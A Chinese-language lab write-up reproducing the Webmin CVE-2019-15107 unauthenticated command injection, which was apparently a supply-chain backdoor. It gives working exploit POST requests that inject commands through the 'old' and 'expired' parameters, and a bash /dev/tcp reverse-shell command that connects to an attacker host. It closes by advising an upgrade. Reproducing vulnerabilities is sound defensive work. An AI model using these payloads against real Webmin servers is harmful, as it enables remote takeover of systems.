0x01 概述
Webmin是目前功能最強大的基于Web的Unix系統管理工具。管理者通過浏覽器通路Webmin的各種管理功能并完成相應的管理動作。在其找回密碼頁面中,存在一處無需權限的指令注入漏洞,通過這個漏洞攻擊者即可以執行任意系統指令。當版本為1.890時,工具在預設配置下易受漏洞的威脅,而在其它版本當使用者開啟密碼過期政策時,受該漏洞威脅。
官方給的修補是直接删除了代碼中的
qx/..../
,而且該應用在官方提供的sourceforge下載下傳的源碼才包含這個漏洞,而官方Github上的代碼是安全的。這也證明這個RCE漏洞很有可能是一次供應鍊攻擊,黑客控制了官方sourceforge賬戶并植入了後門。
大佬的文章非常清晰明了,可以看看:
https://blog.csdn.net/qq_43380549/article/details/100011292
0x02 影響版本
webmin=1.882-1.920
條件:1.890版本,漏洞點的觸發隻需要在修改密碼處傳一個expired參數執行指令即可。不需要passwd_mode=2的必要條件。除1.890版本,其餘受影響的版本的伺服器的配置檔案需passwd_mode=2的條件。無需使用者名密碼,可執行任意指令。
0x03 漏洞環境
centos+docker(CVE-2019-15107) webmin 1.910
1、通路
https://192.168.178.128:10000
2、登入前去修改一下root的密碼(不然登不進去),
docker exec -it 0cfbca18f396 /bin/bash
,目前版本需要進webmin容器裡開啟密碼重置功能
3、登陸後,
Webmin-> Webmin Configuration-> Authentication
把“允許使用者使用舊密碼設定新密碼”的選項給選上,儲存!vulhub的預設是選上了的。
4、檢視配置檔案
cat /etc/webmin/miniserv.conf
0x04 漏洞複現
該漏洞利用條件簡單,無需登入,直接發送post請求包即可,需保證Host和Referer都為
https://IP:10000
一、指令執行:
1、抓取修改密碼處的包
2、将請求改為
password_change.cgi
,post資料包中的參數也需要改一下,利用點在old參數處,利用
|
符号執行指令,這裡root使用者是Linux系統的root使用者,linux系統的使用者認證方式為Unix authenticaton,是以會受限制;使用者為空、随便寫或使用者為webmin使用者,認證方式為無。
原:
user=root&one=&new=12345678&repeat=12345678&others=1
改:
user=tttt&old=11|id&new1=12345678&new2=12345678&others=1
3、1.890版本利用隻需要在post資料中有expired參數,expired=whoami就可以執行。
4、1.9.10版本請求包:
POST /password_change.cgi HTTP/1.1
Host: 192.168.178.128:10000
Connection: close
Content-Length: 57
X-PJAX-URL: save_passwd.cgi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: text/plain;charset=UTF-8
X-Requested-From: passwd
Accept: text/html, */*; q=0.01
X-Requested-From-Tab: webmin
X-Requested-With: XMLHttpRequest
X-PJAX: true
X-PJAX-Container: [data-dcontainer]
Origin: https://192.168.178.128:10000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.178.128:10000/passwd/edit_passwd.cgi?user=root&xnavigation=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: redirect=1; testing=1; sid=df8de950b9d2b05f1822332afda5ba44; sessiontest=1
user=root1&old=11|id&new1=12345678&new2=12345678&others=1
4、指令執行成功
二、反彈shell:
1、将
bash -c "bash -i >& /dev/tcp/192.168.178.3/4444 0>&1"
指令使用URL編碼後放到可執行指令的參數後
2、執行後傳回空白,同時收到shell,反彈成功
0x05 修複建議
更新到1.930版本